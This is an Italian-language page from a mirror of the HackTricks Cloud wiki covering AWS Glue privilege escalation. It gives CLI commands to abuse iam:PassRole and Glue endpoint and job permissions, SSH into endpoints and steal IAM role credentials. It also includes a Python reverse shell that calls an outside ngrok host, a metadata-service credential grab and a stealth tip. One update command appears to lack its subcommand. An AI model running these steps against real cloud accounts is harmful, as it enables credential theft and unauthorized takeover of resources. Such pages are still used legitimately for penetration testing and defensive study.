mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-20 00:20:44 -08:00
87 lines
3.9 KiB
Markdown
87 lines
3.9 KiB
Markdown
# AWS - Glue Privesc
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## glue
|
|
|
|
### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
|
|
|
|
Gli utenti con questi permessi possono **configurare un nuovo endpoint di sviluppo AWS Glue**, **assegnando un ruolo di servizio esistente assumibile da Glue** con permessi specifici a questo endpoint.
|
|
|
|
Dopo la configurazione, l'**attaccante può SSH nell'istanza dell'endpoint**, e rubare le credenziali IAM del ruolo assegnato:
|
|
```bash
|
|
# Create endpoint
|
|
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
|
|
--role-arn <arn-role> \
|
|
--public-key file:///ssh/key.pub
|
|
|
|
# Get the public address of the instance
|
|
## You could also use get-dev-endpoints
|
|
aws glue get-dev-endpoint --endpoint-name privesctest
|
|
|
|
# SSH with the glue user
|
|
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
|
|
```
|
|
Per scopi di stealth, si consiglia di utilizzare le credenziali IAM dall'interno della macchina virtuale Glue.
|
|
|
|
**Impatto Potenziale:** Privesc al ruolo di servizio glue specificato.
|
|
|
|
### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
|
|
|
|
Gli utenti con questo permesso possono **modificare la chiave SSH di un endpoint di sviluppo Glue** esistente, **abilitando l'accesso SSH ad esso**. Questo consente all'attaccante di eseguire comandi con i privilegi del ruolo associato all'endpoint:
|
|
```bash
|
|
# Change public key to connect
|
|
aws glue --endpoint-name target_endpoint \
|
|
--public-key file:///ssh/key.pub
|
|
|
|
# Get the public address of the instance
|
|
## You could also use get-dev-endpoints
|
|
aws glue get-dev-endpoint --endpoint-name privesctest
|
|
|
|
# SSH with the glue user
|
|
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
|
|
```
|
|
**Impatto Potenziale:** Privesc al ruolo del servizio glue utilizzato.
|
|
|
|
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
|
|
|
|
Gli utenti con **`iam:PassRole`** combinato con **`glue:CreateJob` o `glue:UpdateJob`**, e **`glue:StartJobRun` o `glue:CreateTrigger`** possono **creare o aggiornare un lavoro AWS Glue**, allegando qualsiasi **account di servizio Glue**, e avviare l'esecuzione del lavoro. Le capacità del lavoro includono l'esecuzione di codice Python arbitrario, che può essere sfruttato per stabilire una reverse shell. Questa reverse shell può quindi essere utilizzata per esfiltrare le **credenziali IAM** del ruolo allegato al lavoro Glue, portando a potenziale accesso non autorizzato o azioni basate sulle autorizzazioni di quel ruolo:
|
|
```bash
|
|
# Content of the python script saved in s3:
|
|
#import socket,subprocess,os
|
|
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
#s.connect(("2.tcp.ngrok.io",11216))
|
|
#os.dup2(s.fileno(),0)
|
|
#os.dup2(s.fileno(),1)
|
|
#os.dup2(s.fileno(),2)
|
|
#p=subprocess.call(["/bin/sh","-i"])
|
|
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
|
|
|
|
|
|
# A Glue role with admin access was created
|
|
aws glue create-job \
|
|
--name privesctest \
|
|
--role arn:aws:iam::93424712358:role/GlueAdmin \
|
|
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
|
|
|
|
# You can directly start the job
|
|
aws glue start-job-run --job-name privesctest
|
|
# Or you can create a trigger to start it
|
|
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
|
|
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
|
|
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
|
|
```
|
|
**Impatto Potenziale:** Privesc al ruolo del servizio glue specificato.
|
|
|
|
### `glue:UpdateJob`
|
|
|
|
Solo con il permesso di aggiornamento un attaccante potrebbe rubare le credenziali IAM del ruolo già attaccato.
|
|
|
|
**Impatto Potenziale:** Privesc al ruolo del servizio glue attaccato.
|
|
|
|
## Riferimenti
|
|
|
|
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|